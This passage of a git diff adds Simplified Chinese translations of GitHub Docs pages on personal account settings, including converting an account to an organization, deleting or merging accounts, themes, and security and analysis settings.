![更改用户名警告按钮](/assets/images/help/settings/settings-change-my-username-button.png) {% endif %} + +## 延伸阅读 + +- [我的提交为什么链接到错误的用户?](/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user){% ifversion fpt or ghec %} +- [{% data variables.product.prodname_dotcom %} 用户名策略](/free-pro-team@latest/github/site-policy/github-username-policy){% endif %} diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md new file mode 100644 index 0000000000..ff2c1f513c --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md @@ -0,0 +1,72 @@ +--- +title: 将用户转换为组织 +redirect_from: +- /articles/what-is-the-difference-between-create-new-organization-and-turn-account-into-an-organization +- /articles/explaining-the-account-transformation-warning +- /articles/converting-a-user-into-an-organization +- /github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization +- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization +intro: You can convert your personal account into an organization. This allows more granular permissions for repositories that belong to the organization. +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: +- Accounts +shortTitle: User into an organization +ms.openlocfilehash: 0c167e3e389230e6ac2dccb9f1f2f3dc67791bd0 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145066883" +--- +{% warning %} + +警告:在将用户转换为组织之前,请记住以下几点: + + - 你将无法再登录转换后的个人帐户。 + - 你将无法再创建或修改转换后的个人帐户所拥有的 Gist。 + - 组织无法转换回用户。 + - 不会将 SSH 密钥、OAuth 标记、作业配置文件、反应和关联的用户信息传输到组织。 这只适用于被转换的个人帐户,而不适用于该个人帐户的任何协作者。 + - 使用转换后的个人帐户所做的任何提交将不再链接到该帐户。 提交本身将保持不变。 + - 将删除使用转换后的个人帐户创建的任何专用存储库的分支。 + +{% endwarning %} + +## 保留个人帐户并手动创建新组织 + +如果希望组织的名称与目前用于个人帐户的名称相同,或者要保留个人帐户的信息不变,则必须创建一个新组织,然后将存储库转让给该组织,而不是将个人帐户转换为组织。 + +1. 要保留当前个人帐户名称以供个人使用,[请将个人帐户名称更改为](/articles/changing-your-github-username)一个好听的新名称。 +2. 使用个人帐户的原始名称[创建新组织](/articles/creating-a-new-organization-from-scratch)。 +3. [将存储库转移到](/articles/transferring-a-repository)新的组织帐户。 + +## 自动将个人帐户转换为组织 + +也可以将个人帐户直接转换为组织。 转换帐户: + - 按原样保留仓库,无需手动将其转让给另一个帐户 + - 自动邀请协作者加入具有与其之前相同权限的团队 {% ifversion fpt or ghec %}- 对于 {% data variables.product.prodname_pro %} 上的个人帐户,自动将计费转换到[付费的 {% data variables.product.prodname_team %}](/articles/about-billing-for-github-accounts),无需重新输入付款信息、调整计费周期或随时双倍付款{% endif %} + +1. 创建新的个人帐户,转换后您将用它来登录 GitHub 以及访问组织和仓库。 +2. [退出组织](/articles/removing-yourself-from-an-organization)(你要转换的个人帐户已加入的组织)。 +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.organizations %} +5. 在“转换帐户”下,单击“将 转换为组织”。 + ![组织转换按钮](/assets/images/help/settings/convert-to-organization.png) +6. 在 Account Transformation Warning(帐户转换警告)对话框中,查看并确认转换。 请注意,此框中的信息与本文顶部的警告信息相同。 + ![转换警告](/assets/images/help/organizations/organization-account-transformation-warning.png) +7. 在“Transform your user into an organization(将用户转换为组织)”页面的“Choose an organization owner(选择组织所有者)”下,选择您在前面创建的备用个人帐户或您信任的其他用户来管理组织。 + ![添加组织所有者页面](/assets/images/help/organizations/organization-add-owner.png) +8. 选择新组织的订阅,并在提示时输入帐单信息。 +9. 单击“创建组织”。 +10. 登录在第一步中创建的新个人帐户,然后使用上下文切换器访问新组织。 + +{% tip %} + +提示:将个人帐户转换为组织时,我们会将属于该帐户的存储库中的协作者作为外部协作者添加到新组织。 然后,你可以根据需要邀请外部协作者成为新组织的成员。 有关详细信息,请参阅“[组织中的角色](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)”。 + +{% endtip %} + +## 延伸阅读 +- [设置团队](/articles/setting-up-teams) {% ifversion fpt or ghec %}- [邀请用户加入组织](/articles/inviting-users-to-join-your-organization){% endif %} +- [访问组织](/articles/accessing-an-organization) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md new file mode 100644 index 0000000000..82bb4772c2 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md @@ -0,0 +1,54 @@ +--- +title: 删除用户帐户 +intro: You can delete your personal account on {% data variables.product.product_name %} at any time. +redirect_from: +- /articles/deleting-a-user-account +- /articles/deleting-your-user-account +- /github/setting-up-and-managing-your-github-user-account/deleting-your-user-account +- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: +- Accounts +shortTitle: Delete your personal account +ms.openlocfilehash: fe18309f93bdb4124fa5a58d22ab7a93b451e6e1 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145084774" +--- +删除个人帐户将删除帐户所拥有的所有存储库、专用存储库的分支、Wiki、问题、拉取请求和页面。 {% ifversion fpt or ghec %} 在其他用户拥有的存储库中创建的问题和拉取请求以及所做的评论不会被删除,而是与我们的 [Ghost 用户](https://github.com/ghost)关联。{% else %}在其他用户拥有的存储库中创建的问题和拉取请求以及所做的评论不会被删除。{% endif %} + +{% ifversion fpt or ghec %} 当您删除帐户时,我们会停止对您计费。 与该帐户关联的电子邮件地址可用于 {% data variables.product.product_location %} 上不同的帐户。 90 天后,该帐户名称也可供其他任何人用于新帐户。 {% endif %} + +如果你是组织的唯一所有者,则必须先将所有权转让给其他人或删除该组织,然后才能删除个人帐户。 如果组织中有其他所有者,则必须先从组织中删除自己,然后才能删除个人帐户。 + +有关详细信息,请参阅: +- [转让组织所有权](/articles/transferring-organization-ownership) +- [删除组织帐户](/articles/deleting-an-organization-account) +- [从组织中删除自己](/articles/removing-yourself-from-an-organization/) + +## 备份帐户数据 + +在删除个人帐户之前,请复制帐户所拥有的所有存储库、专用分支、Wiki、问题和拉取请求。 + +{% warning %} + +警告:删除个人帐户后,GitHub 将无法还原内容。 + +{% endwarning %} + +## 删除个人帐户 + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.account_settings %} +3. 在帐户设置页面底部的“删除帐户”下,单击“删除帐户”。 在删除个人帐户之前: + - 如果您是组织中的唯一所有者,则必须将所有权转让给其他人或删除您的组织。 + - 如果组织中有其他组织所有者,则必须将自己从组织中删除。 + ![帐户删除按钮](/assets/images/help/settings/settings-account-delete.png) +4. 在“确认要执行此操作”对话框中,完成相关步骤以确认你了解删除帐户的后果:![删除帐户确认对话框](/assets/images/help/settings/settings-account-deleteconfirm.png) {% ifversion fpt or ghec %}- 重新确认帐户拥有的所有存储库、专用存储库分支、wiki、问题、拉取请求和 {% data variables.product.prodname_pages %} 站点都将删除,计费将立即结束,并且 90 天后任何人都可在 {% data variables.product.product_name %} 上使用你的用户名。 + {% else %}- 重新考虑一下,您帐户拥有的所有仓库、私有仓库分支、wiki、议题、提取请求和网页都将被删除,并且任何人将可在 {% data variables.product.product_name %} 上使用您的用户名。 + {% endif %}- 在第一个字段中,输入您的 {% data variables.product.product_name %} 用户名或电子邮件。 + - 在第二个字段中,键入提示短语。 diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md new file mode 100644 index 0000000000..e8a374b5d3 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md @@ -0,0 +1,40 @@ +--- +title: 管理用户帐户设置 +intro: You can change several settings for your personal account, including changing your username and deleting your account. +redirect_from: +- /categories/29/articles +- /categories/user-accounts +- /articles/managing-user-account-settings +- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +children: +- /about-your-personal-dashboard +- /managing-your-theme-settings +- /managing-your-tab-size-rendering-preference +- /changing-your-github-username +- /merging-multiple-user-accounts +- /converting-a-user-into-an-organization +- /deleting-your-user-account +- /permission-levels-for-a-user-account-repository +- /permission-levels-for-user-owned-project-boards +- /managing-accessibility-settings +- /managing-the-default-branch-name-for-your-repositories +- /managing-security-and-analysis-settings-for-your-user-account +- /managing-access-to-your-user-accounts-project-boards +- /integrating-jira-with-your-personal-projects +- /best-practices-for-leaving-your-company +- /what-does-the-available-for-hire-checkbox-do +shortTitle: Personal account settings +ms.openlocfilehash: 2d62699cda16ed9387e1f19aab5bb6bde4376b7b +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145084771" +--- diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/integrating-jira-with-your-personal-projects.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/integrating-jira-with-your-personal-projects.md new file mode 100644 index 0000000000..adc2f90553 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/integrating-jira-with-your-personal-projects.md @@ -0,0 +1,32 @@ +--- +title: 将 Jira 与个人项目集成 +intro: You can integrate Jira Cloud with your personal account to scan commits and pull requests, creating relevant metadata and hyperlinks in any mentioned Jira issues. +redirect_from: +- /articles/integrating-jira-with-your-personal-projects +- /github/setting-up-and-managing-your-github-user-account/integrating-jira-with-your-personal-projects +- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/integrating-jira-with-your-personal-projects +versions: + ghes: '*' + ghae: '*' +shortTitle: Integrate Jira with projects +ms.openlocfilehash: a9106d979aa0f219bd20fc5b27042dfe8e81fc8c +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145084769" +--- +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.developer_settings %} {% data reusables.user-settings.oauth_apps %} +1. 单击“注册新应用程序”。 +2. 在“应用程序名称”下,键入“Jira”。 +3. 在“主页 URL”下,键入 Jira 实例的完整 URL。 +4. 在“授权回叫 URL”下,键入 Jira 实例的完整 URL。 +5. 单击“注册应用程序”。 +![“注册应用程序”按钮](/assets/images/help/oauth/register-application-button.png) +8. 在“开发人员应用程序”下,记下“客户端 ID”和“客户端机密”值。 +![客户端 ID 和客户端机密](/assets/images/help/oauth/client-id-and-secret.png){% data reusables.user-settings.jira_help_docs %} + +## 延伸阅读 + +- [集成 Jira 与组织项目板](/articles/integrating-jira-with-your-organization-project-board) +- 将 Jira Cloud 连接到 GitHub(Atlassian 文档) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md new file mode 100644 index 0000000000..44a3abb293 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md @@ -0,0 +1,38 @@ +--- +title: 管理对用户帐户项目板的访问 +intro: As a project board owner, you can add or remove a collaborator and customize their permissions to a project board. +redirect_from: +- /articles/managing-project-boards-in-your-repository-or-organization +- /articles/managing-access-to-your-user-account-s-project-boards +- /articles/managing-access-to-your-user-accounts-project-boards +- /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-user-accounts-project-boards +- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +shortTitle: Manage access project boards +ms.openlocfilehash: 5a5cf08169fec04a896b05b7934c80cfe9f2eded +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145084768" +--- +协作者是对您拥有的项目板具有访问权限的个人。 协作者的权限默认为读取权限。 有关详细信息,请参阅“[用户拥有的项目板的权限级别](/articles/permission-levels-for-user-owned-project-boards)”。 + +## 邀请协作者参加用户拥有的项目板 + +1. 导航到您要在其中添加协作者的项目板。 +{% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %} {% data reusables.project-management.collaborator-option %} +5. 在 "Search by username, full name or email address"(按用户名、全名或电子邮件地址搜索)下,输入协作者的姓名、用户名或 {% data variables.product.prodname_dotcom %} 电子邮件地址。 + ![“协作者”部分,其中搜索字段中输入了 Octocat 的用户名](/assets/images/help/projects/org-project-collaborators-find-name.png) {% data reusables.project-management.add-collaborator %} +7. 新协作者默认具有读取权限。 在新协作者名称旁边,可以选择使用下拉菜单选择不同的权限级别。 + ![选择了“权限”下拉菜单的“协作者”部分](/assets/images/help/projects/user-project-collaborators-edit-permissions.png) + +## 从用户拥有的项目板删除协作者 + +{% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %} {% data reusables.project-management.collaborator-option %} {% data reusables.project-management.remove-collaborator %} diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md new file mode 100644 index 0000000000..36cb88f8e3 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md @@ -0,0 +1,24 @@ +--- +title: 管理辅助功能设置 +intro: You can disable character key shortcuts on {% data variables.product.prodname_dotcom %} in your accessibility settings. +versions: + feature: keyboard-shortcut-accessibility-setting +ms.openlocfilehash: 9cd1aa981642a9372731fcbf39a614e5b93b1273 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145084767" +--- +## 关于辅助功能设置 + +{% data variables.product.product_name %} 包括各种键盘快捷键,便于您在整个站点中执行操作,而无需使用鼠标进行导航。 虽然快捷方式有助于节省时间,但它们有时会使 {% data variables.product.prodname_dotcom %} 更难使用且更难以访问。 + +默认情况下,所有键盘快捷键都在 {% data variables.product.product_name %} 上启用,但您可以选择在辅助功能设置中禁用字符键快捷键。 此设置不影响 Web 浏览器提供的键盘快捷方式,或者使用修改键(如 ControlCommand)的 {% data variables.product.prodname_dotcom %} 快捷方式。 + +## 管理字符键快捷方式 + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.accessibility_settings %} +1. 选中或取消选中“启用字符键快捷方式”复选框。 + ![“启用字符键快捷方式”复选框的屏幕截图](/assets/images/help/settings/disable-character-key-shortcuts.png) +2. 单击“保存” 。 diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account.md new file mode 100644 index 0000000000..aafdd463bc --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account.md @@ -0,0 +1,57 @@ +--- +title: 管理用户帐户的安全和分析设置 +intro: You can control features that secure and analyze the code in your projects on {% data variables.product.prodname_dotcom %}. +versions: + fpt: '*' + ghec: '*' + ghes: '>3.2' +topics: +- Accounts +redirect_from: +- /github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account +- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account +shortTitle: Manage security & analysis +ms.openlocfilehash: 1a025a46dc42252a2e3c0facbe6b3beffa48cf45 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145084764" +--- +## 关于安全性和分析设置的管理 + +{% data variables.product.prodname_dotcom %} 可保护您的仓库。 本主题介绍如何管理所有现有或新仓库的安全和分析功能。 + +您仍然可以管理单个仓库的安全和分析功能。 有关详细信息,请参阅“[管理存储库的安全和分析设置](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)”。 + +你还可以查看个人帐户上所有活动的安全日志。 有关详细信息,请参阅“[查看安全日志](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log)”。 + +{% data reusables.security.some-security-and-analysis-features-are-enabled-by-default %} + +{% data reusables.security.security-and-analysis-features-enable-read-only %} + +有关存储库级安全性的概述,请参阅“[保护存储库](/code-security/getting-started/securing-your-repository)”。 + +## 启用或禁用现有仓库的功能 + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.security-analysis %} +3. 在“代码安全和分析”下,单击功能右侧的“全部禁用”或“全部启用” 。 + {% ifversion ghes > 3.2 %}![用于“配置安全和分析”功能的“全部启用”或“全部禁用”按钮](/assets/images/enterprise/3.3/settings/security-and-analysis-disable-or-enable-all.png){% else %}![用于“配置安全和分析”功能的“全部启用”或“全部禁用”按钮](/assets/images/help/settings/security-and-analysis-disable-or-enable-all.png){% endif %} +6. (可选)默认情况下为您拥有的新存储库启用该功能。 + {% ifversion ghes > 3.2 %}![用于新建存储库的“默认启用”选项](/assets/images/enterprise/3.3/settings/security-and-analysis-enable-by-default-in-modal.png){% else %}![用于新建存储库的“默认启用”选项](/assets/images/help/settings/security-and-analysis-enable-by-default-in-modal.png){% endif %} +7. 单击“禁用功能”或“启用功能”,以为所拥有的所有存储库禁用或启用该功能 。 + {% ifversion ghes > 3.2 %}![用于禁用或启用功能的按钮](/assets/images/enterprise/3.3/settings/security-and-analysis-enable-dependency-graph.png){% else %}![用于禁用或启用功能的按钮](/assets/images/help/settings/security-and-analysis-enable-dependency-graph.png){% endif %} + +{% data reusables.security.displayed-information %} + +## 对新仓库启用或禁用功能 + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.security-analysis %} +3. 在“Code security and analysis(代码安全和分析)”下,在功能右侧,默认为您拥有的新存储库启用或禁用该功能。 + {% ifversion ghes > 3.2 %}![用于启用或禁用新建存储库功能的复选框](/assets/images/enterprise/3.3/settings/security-and-analysis-enable-or-disable-feature-checkbox.png){% else %}![用于启用或禁用新建存储库功能的复选框](/assets/images/help/settings/security-and-analysis-enable-or-disable-feature-checkbox.png){% endif %} + +## 延伸阅读 + +- “[关于依赖项图](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)” +- “[关于 {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)” +- “[自动更新依赖项](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically)” diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md new file mode 100644 index 0000000000..76ac51a289 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md @@ -0,0 +1,40 @@ +--- +title: 管理仓库的默认分支名称 +intro: You can set the default branch name for new repositories that you create on {% data variables.product.product_location %}. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +redirect_from: +- /github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories +- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories +shortTitle: Manage default branch name +ms.openlocfilehash: 5bf934f246a2d0e447a99d0f63888b5b87ecc033 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145084763" +--- +## About the default branch name + +当您在 {% data variables.product.product_location %} 上创建一个新仓库时,仓库将包含一个分支,它就是默认分支。 您可以更改 {% data variables.product.product_name %} 用于您新建仓库中默认分支的名称。 有关默认分支的详细信息,请参阅“[关于分支](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)”。 + +{% data reusables.branches.change-default-branch %} + +## 设置默认分支名称 + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.repo-tab %} +3. 在“存储库默认分支”下,单击“立即更改默认分支名称”。 + ![“替代”按钮](/assets/images/help/settings/repo-default-name-button.png) +4. 键入要用于新分支的默认名称。 + ![用于输入默认名称的文本框](/assets/images/help/settings/repo-default-name-text.png) +5. 单击“更新”。 + ![“更新”按钮](/assets/images/help/settings/repo-default-name-update.png) + +## 延伸阅读 + +- “[管理组织中存储库的默认分支名称](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)” diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-tab-size-rendering-preference.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-tab-size-rendering-preference.md new file mode 100644 index 0000000000..c1a7f03f9c --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-tab-size-rendering-preference.md @@ -0,0 +1,24 @@ +--- +title: 管理选项卡大小呈现首选项 +intro: You can manage the number of spaces a tab is equal to for your personal account. +versions: + fpt: '*' + ghae: issue-5083 + ghes: '>=3.4' + ghec: '*' +topics: +- Accounts +shortTitle: Managing your tab size +ms.openlocfilehash: 2313c9e09d7f203f88ad2536aaffd3f508e15b79 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145084762" +--- +如果您觉得在 {% data variables.product.product_name %} 上呈现的选项卡式代码缩进占用了太多或太少的空间,可以在设置中更改。 + +{% data reusables.user-settings.access_settings %} +1. 在左侧边栏中,单击“{% octicon "paintbrush" aria-label="The paintbrush icon" %} 外观”。 +2. 在“Tab size preference(选项卡大小首选项)”下,选择下拉菜单,然后选择您的首选项。 + ![“选项卡大小首选项”按钮](/assets/images/help/settings/tab-size-preference.png ) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md new file mode 100644 index 0000000000..924683eb21 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md @@ -0,0 +1,56 @@ +--- +title: 管理主题设置 +intro: You can manage how {% data variables.product.product_name %} looks to you by setting a theme preference that either follows your system settings or always uses a light or dark mode. +versions: + fpt: '*' + ghae: '*' + ghes: '>=3.2' + ghec: '*' +topics: +- Accounts +redirect_from: +- /github/setting-up-and-managing-your-github-user-account/managing-your-theme-settings +- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings +shortTitle: Manage theme settings +ms.openlocfilehash: 238af803ead331a9323e9457024a85dff05fc5d4 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145084757" +--- +为了选择和灵活地使用 {% data variables.product.product_name %},您可以配置主题设置来更改 {% data variables.product.product_name %} 的外观。 您可以在浅色和深色两个主题中进行选择,也可以配置 {% data variables.product.product_name %} 遵循系统设置。 + +您可能需要使用深色主题来减少某些设备的功耗,以在低光条件下减小眼睛的压力,或者因为您更喜欢主题的外观。 + +{% ifversion fpt or ghes > 3.2 or ghae or ghec %}如果你视力低下,你可能会受益于高对比度主题,其前景和背景元素之间的对比度更高。{% endif %}{% ifversion fpt or ghae or ghec %} 如果你有色盲,你可能会从我们的浅色和深色色盲主题中受益。 + +{% endif %} + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.appearance-settings %} + +1. 在“Theme mode(主题模式)”下,选择下拉菜单,然后单击主题首选项。 + + ![“主题模式”下的下拉菜单,用于选择主题首选项](/assets/images/help/settings/theme-mode-drop-down-menu.png) +1. 单击想要使用的主题。 + - 如果您选择单个主题,请单击一个主题。 + + {% ifversion fpt or ghes > 3.2 or ghae or ghec %}![用于选择单个主题的单选按钮](/assets/images/help/settings/theme-choose-a-single-theme-highcontrast.png){% else %}![用于选择单个主题的单选按钮](/assets/images/help/settings/theme-choose-a-single-theme.png){% endif %} + - 如果您选择遵循系统设置,请单击白天主题和夜间主题。 + + {% ifversion fpt or ghes > 3.2 or ghae or ghec %}![用于选择要与系统设置同步的主题的按钮](/assets/images/help/settings/theme-choose-a-day-and-night-theme-to-sync-highcontrast.png){% else %}![用于选择与系统设置同步的主题的按钮](/assets/images/help/settings/theme-choose-a-day-and-night-theme-to-sync.png){% endif %} {% ifversion fpt or ghec %} + - 如果您想选择当前处于公开测试阶段的主题,则首先需要通过功能预览启用它。 有关详细信息,请参阅“[使用功能预览探索抢先体验版](/get-started/using-github/exploring-early-access-releases-with-feature-preview)”。{% endif %} + +{% if command-palette %} + +{% note %} + +注意:你还可以使用命令面板更改主题设置。 有关详细信息,请参阅“[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)”。 + +{% endnote %} + +{% endif %} + +## 延伸阅读 + +- [为 {% data variables.product.prodname_desktop %} 设置主题](/desktop/installing-and-configuring-github-desktop/setting-a-theme-for-github-desktop) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md new file mode 100644 index 0000000000..b9bbd3273f --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md @@ -0,0 +1,52 @@ +--- +title: 合并多个用户帐户 +intro: If you have separate accounts for work and personal use, you can merge the accounts. +redirect_from: +- /articles/can-i-merge-two-accounts +- /articles/keeping-work-and-personal-repositories-separate +- /articles/merging-multiple-user-accounts +- /github/setting-up-and-managing-your-github-user-account/merging-multiple-user-accounts +- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts +versions: + fpt: '*' + ghec: '*' +topics: +- Accounts +shortTitle: Merge multiple personal accounts +ms.openlocfilehash: 128a6c99f8a6208150067bb2c3668557b184c255 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145084756" +--- +{% tip %} + +{% ifversion ghec %} + +提示:{% data variables.product.prodname_emus %} 允许企业通过标识提供者 (IdP) 为其成员预配唯一的个人帐户。 有关详细信息,请参阅“[关于企业托管用户](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users)”。 对于其他用例,我们建议仅使用一个个人帐户来管理个人和专业存储库。 + +{% else %} + +提示:我们建议仅使用一个个人帐户来管理个人和专业存储库。 + +{% endif %} + +{% endtip %} + +{% warning %} + +**警告:** +- 组织和存储库访问权限不能在帐户之间转让。 如果要删除的帐户具有现有访问权限,则组织所有者或存储库管理员将需要邀请您要保留的帐户。 +- 无法将使用 GitHub 提供的 `noreply` 电子邮件地址创作的任何提交从一个帐户转移到另一个帐户。 如果要删除的帐户使用了“将我的电子邮件地址设为私有”选项,则无法将要删除的帐户创作的提交转移到要保留的帐户。 + +{% endwarning %} + +1. [将任何存储库从要删除的帐户转移](/articles/how-to-transfer-a-repository)到要保留的帐户。 议题、拉取请求和 wiki 也会转让。 确认要保留的帐户中存在仓库。 +2. [更新已移动存储库的任何本地克隆中的远程 URL](/github/getting-started-with-github/managing-remote-repositories)。 +3. [删除不会再使用的帐户](/articles/deleting-your-user-account)。 +4. 要将过去的提交归因于新帐户,请将用于创作提交的电子邮件地址添加到要保留的帐户。 有关详细信息,请参阅“[为什么我的贡献没有在我的个人资料中显示?](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)” + +## 延伸阅读 + +- [{% data variables.product.prodname_dotcom %} 